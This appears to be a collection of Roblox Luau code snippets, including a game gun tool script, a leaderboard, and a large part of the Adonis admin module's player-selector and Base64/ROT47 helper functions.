elseif brick.Name=="Bullet" or brick.Name=="BulletTexture" then
return false
elseif brick:IsDescendantOf(sp.Parent) then
return false
elseif brick.Name=="Handle" then
if brick.Parent:IsDescendantOf(sp.Parent) then
return false
else
return true
end
end
return true
end)
bullet.Parent=game.Workspace
bt2.Parent=game.Workspace
if hit~=nil then
local humanoid=hit.Parent:FindFirstChild("Humanoid")
if humanoid~=nil then
local damage=math.random(BaseDamage-(BaseDamage*.25),BaseDamage+(BaseDamage*.25))
if hit.Name=="Head" then
damage=damage*1.25
elseif hit.Name=="Torso" then
else
damage=damage*.75
end
if humanoid.Health>0 then
local eplr=game.Players:playerFromCharacter(humanoid.Parent)
local plr=game.Players:playerFromCharacter(sp.Parent)
if eplr~=nil and plr~=nil then
-- if eplr.TeamColor~=plr.TeamColor or eplr.Neutral or plr.Neutral then
tagHumanoid(humanoid)
humanoid:TakeDamage(damage)
-- end
else
tagHumanoid(humanoid)
humanoid:TakeDamage(damage)
end
end
end
if (hit.Name == "Part10") or (hit.Name == "Part11") or (hit.Name == "Part21") or (hit.Name == "Part23") or (hit.Name == "Part24") or (hit.Name == "Part8") then
rand = math.random(1,5)
if rand == 1 then
workspace.GlassSound:play()
hit:breakJoints()
end
end
if (hit.Parent:findFirstChild("Hit")) then
hit.Parent.Health.Value = hit.Parent.Health.Value - BaseDamage/3
end
distance=(startpoint-pos).magnitude
bullet.CFrame=cfrm*CFrame.new(0,0,-distance/2)
bullet.Mesh.Scale=Vector3.new(.15,.15,distance)
else
bullet.CFrame=cfrm*CFrame.new(0,0,-RayLength/2)
bullet.Mesh.Scale=Vector3.new(.15,.15,RayLength)
end
if pos~=nil then
bt2.CFrame=bullet.CFrame
movecframe(bt2,pos)
end
local deb=game:FindFirstChild("Debris")
if deb==nil then
local debris=Instance.new("Debris")
debris.Parent=game
end
check()
game.Debris:AddItem(bullet,.05)
game.Debris:AddItem(bt2,.5)
end
function onButton1Up(mouse)
down=false
end
function onButton1Down(mouse)
h=sp.Parent:FindFirstChild("Humanoid")
if not enabled or reloading or down or h==nil then
return
end
if sp.Ammo.Value>0 and h.Health>0 then
--[[if sp.Ammo.Value<=0 then
if not reloading then
reload(mouse)
end
return
end]]
down=true
enabled=false
while down do
if sp.Ammo.Value<=0 then
break
end
if burst then
local startpoint=sp.Handle.CFrame*BarrlePos
local mag=(mouse.Hit.p-startpoint).magnitude
local rndm=Vector3.new(math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag))
fire(mouse.Hit.p+rndm)
sp.Ammo.Value=sp.Ammo.Value-1
if sp.Ammo.Value<=0 then
break
end
wait(.05)
local startpoint=sp.Handle.CFrame*BarrlePos
local mag2=((mouse.Hit.p+rndm)-startpoint).magnitude
local rndm2=Vector3.new(math.random(-(.1/10)*mag2,(.1/10)*mag2),math.random(-(.1/10)*mag2,(.1/10)*mag2),math.random(-(.1/10)*mag2,(.1/10)*mag2))
fire(mouse.Hit.p+rndm+rndm2)
sp.Ammo.Value=sp.Ammo.Value-1
if sp.Ammo.Value<=0 then
break
end
wait(.05)
fire(mouse.Hit.p+rndm+rndm2+rndm2)
sp.Ammo.Value=sp.Ammo.Value-1
elseif shot then
sp.Ammo.Value=sp.Ammo.Value-1
local startpoint=sp.Handle.CFrame*BarrlePos
local mag=(mouse.Hit.p-startpoint).magnitude
local rndm=Vector3.new(math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag))
fire(mouse.Hit.p+rndm)
local mag2=((mouse.Hit.p+rndm)-startpoint).magnitude
local rndm2=Vector3.new(math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2))
fire(mouse.Hit.p+rndm+rndm2)
local rndm3=Vector3.new(math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2))
fire(mouse.Hit.p+rndm+rndm3)
local rndm4=Vector3.new(math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2),math.random(-(.2/10)*mag2,(.2/10)*mag2))
fire(mouse.Hit.p+rndm+rndm4)
else
sp.Ammo.Value=sp.Ammo.Value-1
local startpoint=sp.Handle.CFrame*BarrlePos
local mag=(mouse.Hit.p-startpoint).magnitude
local rndm=Vector3.new(math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag),math.random(-(Spread/10)*mag,(Spread/10)*mag))
fire(mouse.Hit.p+rndm)
end
wait(Firerate)
if not automatic then
break
end
end
enabled=true
else
sp.Handle.Trigger:Play()
end
end
function onEquippedLocal(mouse)
if mouse==nil then
print("Mouse not found")
return
end
mouse.Icon=Cursors[1]
mouse.KeyDown:connect(function(key) onKeyDown(key,mouse) end)
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
mouse.Button1Up:connect(function() onButton1Up(mouse) end)
check()
equiped=true
if #Cursors>1 then
while equiped do
t=r.Stepped:wait()
local action=sp.Parent:FindFirstChild("Pose")
if action~=nil then
if sp.Parent.Pose.Value=="Standing" then
Spread=MinSpread
else
Spread=MinSpread+((1/10)*(MaxSpread-MinSpread))
end
else
Spread=MinSpread
end
if t-last<SpreadRate then
Spread=Spread+.1*(MaxSpread-MinSpread)
end
if t-last2<SpreadRate then
Spread=Spread+.1*(MaxSpread-MinSpread)
end
if t-last3<SpreadRate then
Spread=Spread+.1*(MaxSpread-MinSpread)
end
if t-last4<SpreadRate then
Spread=Spread+.1*(MaxSpread-MinSpread)
end
if t-last5<SpreadRate then
Spread=Spread+.1*(MaxSpread-MinSpread)
end
if t-last6<SpreadRate then
Spread=Spread+.1*(MaxSpread-MinSpread)
end
if not reloading then
local percent=(Spread-MinSpread)/(MaxSpread-MinSpread)
for i=0,#Cursors-1 do
if percent>(i/(#Cursors-1))-((1/(#Cursors-1))/2) and percent<(i/(#Cursors-1))+((1/(#Cursors-1))/2) then
mouse.Icon=Cursors[i+1]
end
end
end
wait(Firerate*.9)
end
end
end
function onUnequippedLocal(mouse)
equiped=false
reloading=false
end
sp.Equipped:connect(onEquippedLocal)
sp.Unequipped:connect(onUnequippedLocal)
check()
|
--[[Super Util]] | --
function WaitForChild(parent,...)
local debugPrint = false
for _, i in ipairs({...}) do
if type(i)=='boolean' then
debugPrint = i
else
while not parent:FindFirstChild(i) do
wait(1/30)
if debugPrint then
print(script.Name..':'..parent.Name..' Waiting for '.. i)
end
end
parent=parent[i]
end
end
return parent
end
function ForEach(parent,func)
if type(parent)=='table' then
for _,i in pairs(parent) do
func(i)
end
else
for _,i in pairs(parent:GetChildren()) do
func(i)
end
end
end
function MakeValue(class,name,value,parent)
local temp = Instance.new(class)
temp.Name = name
temp.Value = value
temp.Parent = parent
return temp
end
function TweenProperty(obj, propName, inita, enda, length,sentinel)
local startTime = tick()
local mySentinel = sentinel.Value
local diff = enda-inita
while tick()-startTime<length and mySentinel==sentinel.Value do
obj[propName] = (((tick()-startTime)/length)*diff)+inita
wait(1/30)
end
obj[propName] = enda
end
|
-- Animate Out, slow |
for i=1,i_total do
if( math.abs(wiggle_total) > (wiggle_i * 3) ) then
wiggle_i = -wiggle_i
end
wiggle_total = wiggle_total + wiggle_i
overlay.Position = UDim2.new( (0 - (2 * (i/i_total)) + wiggle_total/2), 0, (0 - (2 * (i/i_total)) + wiggle_total/2), -22 )
overlay.Size = UDim2.new( (1 + (3.5 * (i/i_total)) + wiggle_total), 0, (1.15 + (3.5 * (i/i_total)) + wiggle_total), 30 )
wait(0.01)
end
|
-- Animate stuff |
waitForChild(script.Parent, "Base")
local base = script.Parent.Base
waitForChild(base, "Fire")
waitForChild(base, "Smoke")
local onColor = BrickColor.new(1,1,1)
local offColor = BrickColor.new(.2,.2,.2)
base.BrickColor = onColor
base.Fire.Enabled = true
base.Smoke.Enabled = true
wait(0.5)
base.Fire.Enabled = false
wait(0.5)
base.Smoke.Enabled = false
base.BrickColor = offColor
|
-- Don't edit if you don't know what you're doing -- |
local DataStoreService = game:GetService("DataStoreService")
local Players = game:GetService("Players")
local DataStore = DataStoreService:GetOrderedDataStore("Fails")
local Frame = script.Parent.Frame
local Contents = Frame.Contents
local Template = script.objTemplate
local COLORS = {
Default = Color3.fromRGB(38, 50, 56),
Gold = Color3.fromRGB(255, 215, 0),
Silver = Color3.fromRGB(192, 192, 192),
Bronze = Color3.fromRGB(205, 127, 50)
}
local ABBREVIATIONS = { "K", "M", "B", "T" }
local function toHumanReadableNumber(num)
if num < 1000 then
return tostring(num)
end
local digits = math.floor(math.log10(num)) + 1
local index = math.min(#ABBREVIATIONS, math.floor((digits - 1) / 3))
local front = num / math.pow(10, index * 3)
return string.format("%i%s+", front, ABBREVIATIONS[index])
end
local function getItems()
local data = DataStore:GetSortedAsync(false, maxItems, minValueDisplay, maxValueDisplay)
local topPage = data:GetCurrentPage()
Contents.Items.Nothing.Visible = #topPage == 0 and true or false
for position, v in ipairs(topPage) do
local userId = v.key
local value = v.value
local username = "[Not Available]"
local color = COLORS.Default
local success, err = pcall(function()
username = Players:GetNameFromUserIdAsync(userId)
end)
if position == 1 then
color = COLORS.Gold
elseif position == 2 then
color = COLORS.Silver
elseif position == 3 then
color = COLORS.Bronze
end
local item = Template:Clone()
item.Name = username
item.LayoutOrder = position
item.Values.Number.TextColor3 = color
item.Values.Number.Text = position
item.Values.Username.Text = username
item.Values.Value.Text = abbreviateValue and toHumanReadableNumber(value) or value
item.Parent = Contents.Items
end
end
script.Parent.Parent.Color = headingColor
Frame.Heading.ImageColor3 = headingColor
Frame.Heading.Bar.BackgroundColor3 = headingColor
while true do
for _, player in pairs(Players:GetPlayers()) do
local leaderstats = player:FindFirstChild("leaderstats")
if not leaderstats then
warn("Couldn't find leaderstats!")
break
end
local statsValue = leaderstats:FindFirstChild(statsName)
if not statsValue then
warn("Couldn't find " .. statsName .. " in leaderstats!")
break
end
pcall(function()
DataStore:UpdateAsync(player.UserId, function()
return tonumber(statsValue.Value)
end)
end)
end
for _, item in pairs(Contents.Items:GetChildren()) do
if item:IsA("Frame") then
item:Destroy()
end
end
getItems()
wait()
Frame.Heading.Heading.Text = statsName .. " Leaderboard"
Contents.GuideTopBar.Value.Text = statsName
wait(updateEvery)
end
|
--[[
Returns the current value of this ComputedPairs object.
The object will be registered as a dependency unless `asDependency` is false.
]] |
function class:get(asDependency: boolean?)
if asDependency ~= false then
useDependency(self)
end
return self._outputTable
end
|
--[[**
Returns a t.union of each value in the table as a t.literal
@param valueTable The table to get values from
@returns True iff the condition is satisfied, false otherwise
**--]] |
function t.valueOf(valueTable)
local values = {}
local length = 0
for _, value in pairs(valueTable) do
length = length + 1
values[length] = value
end
return t.literal(table.unpack(values, 1, length))
end
|
---[[ Channel Settings ]] |
module.GeneralChannelName = "All" -- You can set to nil to turn off echoing to a general channel.
module.EchoMessagesInGeneralChannel = true -- Should messages to channels other than general be echoed into the general channel. |
--// Function stuff |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local logError
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Settings = server.Settings;
logError = server.logError;
Functions.Init = nil;
Logs:AddLog("Script", "Functions Module Initialized")
end;
local function RunAfterPlugins(data)
--// AutoClean
if Settings.AutoClean then
service.StartLoop("AUTO_CLEAN", Settings.AutoCleanDelay, Functions.CleanWorkspace, true)
end
Functions.RunAfterPlugins = nil;
Logs:AddLog("Script", "Functions Module RunAfterPlugins Finished");
end
server.Functions = {
Init = Init;
RunAfterPlugins = RunAfterPlugins;
PlayerFinders = {
["me"] = {
Match = "me";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
table.insert(players,plr)
plus()
end;
};
["all"] = {
Match = "all";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local everyone = true
if isKicking then
local lower = string.lower
local sub = string.sub
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and sub(lower(p.Name), 1, #msg)==lower(msg) then
everyone = false
table.insert(players,p)
plus()
end
end
end
if everyone then
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p then
table.insert(players,p)
plus()
end
end
end
end;
};
["everyone"] = {
Match = "everyone";
Absolute = true;
Pefix = true;
Function = function(...)
return Functions.PlayerFinders.all.Function(...)
end
};
["others"] = {
Match = "others";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and p ~= plr then
table.insert(players,p)
plus()
end
end
end;
};
["random"] = {
Match = "random";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local children = parent:GetChildren()
if #players >= #children then return end
local rand = children[math.random(#children)]
local p = getplr(rand)
for _,v in ipairs(players) do
if v.Name == p.Name then
Functions.PlayerFinders.random.Function(msg, plr, parent, players, getplr, plus, isKicking)
return;
end
end
table.insert(players, p)
plus();
end;
};
["admins"] = {
Match = "admins";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and Admin.CheckAdmin(p,false) then
table.insert(players, p)
plus()
end
end
end;
};
["nonadmins"] = {
Match = "nonadmins";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and not Admin.CheckAdmin(p,false) then
table.insert(players,p)
plus()
end
end
end;
};
["friends"] = {
Match = "friends";
Prefix = true;
Absolute = true;
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and p:IsFriendsWith(plr.UserId) then
table.insert(players,p)
plus()
end
end
end;
};
["@username"] = {
Match = "@";
Prefix = false;
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local matched = string.match(msg, "@(.*)")
local foundNum = 0
if matched then
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and p.Name == matched then
table.insert(players,p)
plus()
foundNum += 1
end
end
end
end;
};
["%team"] = {
Match = "%";
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local matched = string.match(msg, "%%(.*)")
local lower = string.lower
local sub = string.sub
if matched then
for _,v in ipairs(service.Teams:GetChildren()) do
if sub(lower(v.Name), 1, #matched) == lower(matched) then
for _,m in ipairs(parent:GetChildren()) do
local p = getplr(m)
if p and p.TeamColor == v.TeamColor then
table.insert(players,p)
plus()
end
end
end
end
end
end;
};
["$group"] = {
Match = "$";
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local matched = string.match(msg, "%$(.*)")
if matched and tonumber(matched) then
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and p:IsInGroup(tonumber(matched)) then
table.insert(players,p)
plus()
end
end
end
end;
};
["id-"] = {
Match = "id-";
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local matched = tonumber(string.match(msg, "id%-(.*)"))
local foundNum = 0
if matched then
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and p.UserId == matched then
table.insert(players,p)
plus()
foundNum += 1
end
end
if foundNum == 0 then
local ran,name = pcall(function() return service.Players:GetNameFromUserIdAsync(matched) end)
if ran and name then
local fakePlayer = server.Functions.GetFakePlayer({
Name = name;
ToString = name;
CharacterAppearanceId = tostring(matched);
UserId = tonumber(matched);
userId = tonumber(matched);
})
table.insert(players, fakePlayer)
plus()
end
end
end
end;
};
["displayname-"] = {
Match = "displayname-";
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local matched = tonumber(string.match(msg, "displayname%-(.*)"))
local foundNum = 0
if matched then
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and p.DisplayName == matched then
table.insert(players,p)
plus()
foundNum += 1
end
end
end
end;
};
["team-"] = {
Match = "team-";
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local lower = string.lower
local sub = string.sub
local matched = string.match(msg, "team%-(.*)")
if matched then
for _,v in ipairs(service.Teams:GetChildren()) do
if sub(lower(v.Name), 1, #matched) == lower(matched) then
for _,m in ipairs(parent:GetChildren()) do
local p = getplr(m)
if p and p.TeamColor == v.TeamColor then
table.insert(players, p)
plus()
end
end
end
end
end
end;
};
["group-"] = {
Match = "group-";
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local matched = string.match(msg, "group%-(.*)")
matched = tonumber(matched)
if matched then
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and p:IsInGroup(matched) then
table.insert(players,p)
plus()
end
end
end
end;
};
["-name"] = {
Match = "-";
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local matched = string.match(msg, "%-(.*)")
if matched then
local removes = service.GetPlayers(plr,matched, {
DontError = true;
})
for i,v in pairs(players) do
for k,p in pairs(removes) do
if p and v.Name == p.Name then
table.remove(players,i)
plus()
end
end
end
end
end;
};
["#number"] = {
Match = "#";
Function = function(msg, plr, ...)
local matched = msg:match("%#(.*)")
if matched and tonumber(matched) then
local num = tonumber(matched)
if not num then
Remote.MakeGui(plr,'Output',{Title = 'Output'; Message = "Invalid number!"})
return;
end
for i = 1,num do
Functions.PlayerFinders.random.Function(msg, plr, ...)
end
end
end;
};
["radius-"] = {
Match = "radius-";
Function = function(msg, plr, parent, players, getplr, plus, isKicking)
local matched = msg:match("radius%-(.*)")
if matched and tonumber(matched) then
local num = tonumber(matched)
if not num then
Remote.MakeGui(plr,'Output',{Title = 'Output'; Message = "Invalid number!"})
return;
end
for _,v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and p ~= plr and plr:DistanceFromCharacter(p.Character.Head.Position) <= num then
table.insert(players,p)
plus()
end
end
end
end;
};
};
CatchError = function(func, ...)
local ret = {pcall(func, ...)};
if not ret[1] then
logError(ret[2] or "Unknown error occurred");
else
return unpack(ret, 2);
end
end;
GetFakePlayer = function(data2)
local fakePlayer = service.Wrap(service.New("Folder"))
local data = {
Name = "Fake Player";
ClassName = "Player";
UserId = 0;
userId = 0;
AccountAge = 0;
CharacterAppearanceId = 0;
Parent = service.Players;
Character = Instance.new("Model");
Backpack = Instance.new("Folder");
PlayerGui = Instance.new("Folder");
PlayerScripts = Instance.new("Folder");
Kick = function() fakePlayer:Destroy() fakePlayer:SetSpecial("Parent", nil) end;
IsA = function(ignore, arg) if arg == "Player" then return true end end;
}
data.ToString = data.Name;
for i,v in pairs(data2) do
data[i] = v;
end;
for i,v in pairs(data) do fakePlayer:SetSpecial(i, v) end
return fakePlayer;
end;
GetChatService = function()
local chatHandler = service.ServerScriptService:WaitForChild("ChatServiceRunner", 120);
local chatMod = chatHandler and chatHandler:WaitForChild("ChatService", 120);
if chatMod then
return require(chatMod);
end
end;
IsClass = function(obj, classList)
for _,class in pairs(classList) do
if obj:IsA(class) then
return true
end
end
end;
ArgsToString = function(args)
local str = ""
for i,arg in pairs(args) do
str ..= "Arg"..tostring(i)..": "..tostring(arg).."; "
end
return str
end;
GetPlayers = function(plr, names, data)
if data and type(data) ~= "table" then data = {} end
local noSelectors = data and data.NoSelectors
local dontError = data and data.DontError
local isServer = data and data.IsServer
local isKicking = data and data.IsKicking
--local noID = data and data.NoID;
local useFakePlayer = (data and data.UseFakePlayer ~= nil and data.UseFakePlayer) or true
local players = {}
--local prefix = (data and data.Prefix) or Settings.SpecialPrefix
--if isServer then prefix = "" end
local parent = (data and data.Parent) or service.Players
local lower = string.lower
local sub = string.sub
local gmatch = string.gmatch
local function getplr(p)
if p then
if p.ClassName == "Player" then
return p
elseif p:IsA("NetworkReplicator") then
local networkPeerPlayer = p:GetPlayer()
if networkPeerPlayer and networkPeerPlayer.ClassName == "Player" then
return networkPeerPlayer
end
end
end
end
local function checkMatch(msg)
local doReturn
local PlrLevel = if plr then Admin.GetLevel(plr) else 0
for ind, data in pairs(Functions.PlayerFinders) do
if not data.Level or (data.Level and PlrLevel >= data.Level) then
local check = ((data.Prefix and Settings.SpecialPrefix) or "")..data.Match
if (data.Absolute and lower(msg) == check) or (not data.Absolute and sub(lower(msg), 1, #check) == lower(check)) then
if data.Absolute then
return data
else --// Prioritize absolute matches over non-absolute matches
doReturn = data
end
end
end
end
return doReturn
end
if plr == nil then
for _, v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p then
table.insert(players, p)
end
end
elseif plr and not names then
return {plr}
else
if sub(lower(names), 1, 2) == "##" then
error("String passed to GetPlayers is filtered: ".. tostring(names))
else
for s in gmatch(names, '([^,]+)') do
local plrs = 0
local function plus() plrs += 1 end
local matchFunc = checkMatch(s)
if matchFunc and not noSelectors then
matchFunc.Function(s, plr, parent, players, getplr, plus, isKicking, isServer, dontError)
else
for _, v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and p.ClassName == "Player" and sub(lower(p.DisplayName), 1, #s) == lower(s) then
table.insert(players, p)
plus()
end
end
if plrs == 0 then
for _, v in ipairs(parent:GetChildren()) do
local p = getplr(v)
if p and p.ClassName == "Player" and sub(lower(p.Name), 1, #s) == lower(s) then
table.insert(players, p)
plus()
end
end
end
if plrs == 0 and useFakePlayer then
local ran, userid = pcall(function() return service.Players:GetUserIdFromNameAsync(s) end)
if ran and tonumber(userid) then
local fakePlayer = Functions.GetFakePlayer({
Name = s;
ToString = s;
IsFakePlayer = true;
CharacterAppearanceId = tostring(userid);
UserId = tonumber(userid);
userId = tonumber(userid);
Parent = service.New("Folder");
})
table.insert(players, fakePlayer)
plus()
end
end
end
if plrs == 0 and not dontError then
Remote.MakeGui(plr, "Output", {
Message = "No players matching "..s.." were found!"
})
end
end
end
end
--// The following is intended to prevent name spamming (eg. :re scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel,scel...)
--// It will also prevent situations where a player falls within multiple player finders (eg. :re group-1928483,nonadmins,radius-50 (one player can match all 3 of these))
local filteredList = {}
local checkList = {}
for _, v in pairs(players) do
if not checkList[v] then
table.insert(filteredList, v)
checkList[v] = true
end
end
return filteredList
end;
GetRandom = function(pLen)
--local str = ""
--for i=1,math.random(5,10) do str=str..string.char(math.random(33,90)) end
--return str
local random = math.random
local format = string.format
local Len = (type(pLen) == "number" and pLen) or random(5,10) --// reru
local Res = {};
for Idx = 1, Len do
Res[Idx] = format('%02x', random(126));
end;
return table.concat(Res)
end;
AdonisEncrypt = function(key)
local ae_info = {
version = "1";
ver_codename = "aencrypt_xorB64";
ver_full = "v1_AdonisEncrypt";
}
--return "adonis:enc;;"..ver..";;"..Base64Encode(string.char(unpack(t)))
return {
encrypt = function(data)
-- Add as many layers of encryption that are useful, even a basic cipher that throws exploiters off the actual encrypted data is accepted.
-- What could count: XOR, Base64, Simple Encryption, A Cipher to cover the encryption, etc.
-- What would be too complex: AES-256 CTR-Mode, Base91, PGP/Pretty Good Privacy
-- TO:DO; - Script XOR + Custom Encryption Backend, multiple security measures, if multiple encryption layers are used,
-- manipulate the key as much as possible;
--
-- - Create Custom Lightweight Encoding + Cipher format, custom B64 Alphabet, etc.
-- 'ADONIS+HUJKLMSBP13579VWXYZadonis/hujklmsbp24680vwxyz><_*+-?!&@%#'
--
-- - A basic form of string compression before encrypting should be used
-- If this becomes really nice, find a way to convert old datastore saved data to this new format.
--
-- ? This new format has an URI-Like structure to provide correct versioning and easy migrating between formats
--[[ INSERT ALREADY USED ADONIS "ENCRYPTION" HERE ]]
--[[ INSERT BIT32 BITWISE XOR OPERAND HERE]]
--[[ INSERT ROT47 CIPHER HERE ]]
--[[ INSERT CUSTOM ADONIS BASE64 ENCODING HERE ]]
--[[ CONVERT EVERYTHING TO AN URI WITH VERSIONING AND INFORMATION ]]
end;
decrypt = function(data)
end;
}
end;
-- ROT 47: ROT13 BUT BETTER
Rot47Cipher = function(data,mode)
if not (mode == "enc" or mode == "dec") then error("Invalid ROT47 Cipher Mode") end
local base = 33
local range = 126 - 33 + 1
-- Checks if the given char is convertible
-- ASCII Code should be within the range [33 .. 126]
local function rot47_convertible(char)
local v = string.byte(char)
return v >= 33 and v <= 126
end
local function cipher(str, key)
return (string.gsub(str, '.', function(s)
if not rot47_convertible(s) then return s end
return string.char(((string.byte(s) - base + key) % range) + base)
end))
end
if mode == "enc" then return cipher(data,47) end
if mode == "dec" then return cipher(data,-47) end
end;
-- CUSTOM BASE64 ALPHABET ENCODING
Base64_A_Decode = function(data)
local sub = string.sub
local gsub = string.gsub
local find = string.find
local char = string.char
local b = 'ADONIS+HUJKLMSBP13579VWXYZadonis/hujklmsbp24680vwxyz><_*+-?!&@%#'
data = gsub(data, '[^'..b..'=]', '')
return (gsub(gsub(data, '.', function(x)
if x == '=' then
return ''
end
local r, f = '', (find(b, x) - 1)
for i = 6, 1, -1 do
r ..= (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0')
end
return r;
end), '%d%d%d?%d?%d?%d?%d?%d?', function(x)
if #x ~= 8 then
return ''
end
local c = 0
for i = 1, 8 do
c += (sub(x, i, i) == '1' and 2 ^ (8 - i) or 0)
end
return char(c)
end))
end;
Base64_A_Encode = function(data)
local sub = string.sub
local byte = string.byte
local gsub = string.gsub
return (gsub(gsub(data, '.', function(x)
local r, b = "", byte(x)
for i = 8, 1, -1 do
r ..= (b % 2 ^ i - b % 2 ^ (i - 1) > 0 and '1' or '0')
end
return r;
end) .. '0000', '%d%d%d?%d?%d?%d?', function(x)
if #(x) < 6 then
return ''
end
local c = 0
for i = 1, 6 do
c += (sub(x, i, i) == '1' and 2 ^ (6 - i) or 0)
end
return sub('ADONIS+HUJKLMSBP13579VWXYZadonis/hujklmsbp24680vwxyz><_*+-?!&@%#', c + 1, c + 1)
end)..({
'',
'==',
'='
})[#(data) % 3 + 1])
end;
--
Base64Encode = function(data)
local sub = string.sub
local byte = string.byte
local gsub = string.gsub
return (gsub(gsub(data, '.', function(x)
local r, b = "", byte(x)
for i = 8, 1, -1 do
r ..= (b % 2 ^ i - b % 2 ^ (i - 1) > 0 and '1' or '0')
end
return r;
end) .. '0000', '%d%d%d?%d?%d?%d?', function(x)
if #(x) < 6 then
return ''
end
local c = 0
for i = 1, 6 do
c += (sub(x, i, i) == '1' and 2 ^ (6 - i) or 0)
end
return sub('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', c + 1, c + 1)
end)..({
'',
'==',
'='
})[#(data) % 3 + 1])
end;
Base64Decode = function(data)
local sub = string.sub
local gsub = string.gsub
local find = string.find
local char = string.char
local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
data = gsub(data, '[^'..b..'=]', '')
return (gsub(gsub(data, '.', function(x)
if x == '=' then
return ''
end
local r, f = '', (find(b, x) - 1)
for i = 6, 1, -1 do
r ..= (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0')
end
return r;
end), '%d%d%d?%d?%d?%d?%d?%d?', function(x)
if #x ~= 8 then
return ''
end
local c = 0
for i = 1, 8 do
c += (sub(x, i, i) == '1' and 2 ^ (8 - i) or 0)
end
return char(c)
end))
end;
Hint = function(message,players,time)
for _,v in ipairs(players) do
Remote.MakeGui(v,"Hint",{
Message = message;
Time = time or (#tostring(message) / 19) + 2.5; -- Should make longer messages not dissapear too quickly
})
end
end;
Message = function(title,message,players,scroll,tim)
for _,v in ipairs(players) do
Remote.RemoveGui(v,"Message")
Remote.MakeGui(v,"Message",{
Title = title;
Message = message;
Scroll = scroll;
Time = tim or (#tostring(message) / 19) + 2.5;
})
end
end;
Notify = function(title,message,players,tim)
for _,v in ipairs(players) do
Remote.RemoveGui(v,"Notify")
Remote.MakeGui(v,"Notify",{
Title = title;
Message = message;
Time = tim or (#tostring(message) / 19) + 2.5;
})
end
end;
Notification = function(title, message, players, tim, icon)
for _, v in ipairs(players) do
Remote.MakeGui(v, "Notification", {
Title = title;
Message = message;
Time = tim;
Icon = server.MatIcons[icon or "Info"];
})
end
end;
MakeWeld = function(a, b)
local weld = service.New("ManualWeld")
weld.Part0 = a
weld.Part1 = b
weld.C0 = a.CFrame:Inverse() * b.CFrame
weld.Parent = a
return weld
end;
SetLighting = function(prop,value)
if service.Lighting[prop]~=nil then
service.Lighting[prop] = value
Variables.LightingSettings[prop] = value
for _, p in ipairs(service.GetPlayers()) do
Remote.SetLighting(p, prop, value)
end
end
end;
LoadEffects = function(plr)
for i,v in pairs(Variables.LocalEffects) do
if (v.Part and v.Part.Parent) or v.NoPart then
if v.Type == "Cape" then
Remote.Send(plr,"Function","NewCape",v.Data)
elseif v.Type == "Particle" then
Remote.NewParticle(plr,v.Part,v.Class,v.Props)
end
else
Variables.LocalEffects[i] = nil
end
end
end;
NewParticle = function(target,type,props)
local ind = Functions.GetRandom()
Variables.LocalEffects[ind] = {
Part = target;
Class = type;
Props = props;
Type = "Particle";
}
for _,v in ipairs(service.Players:GetPlayers()) do
Remote.NewParticle(v,target,type,props)
end
end;
RemoveParticle = function(target,name)
for i,v in pairs(Variables.LocalEffects) do
if v.Type == "Particle" and v.Part == target and (v.Props.Name == name or v.Class == name) then
Variables.LocalEffects[i] = nil
end
end
for _,v in ipairs(service.Players:GetPlayers()) do
Remote.RemoveParticle(v,target,name)
end
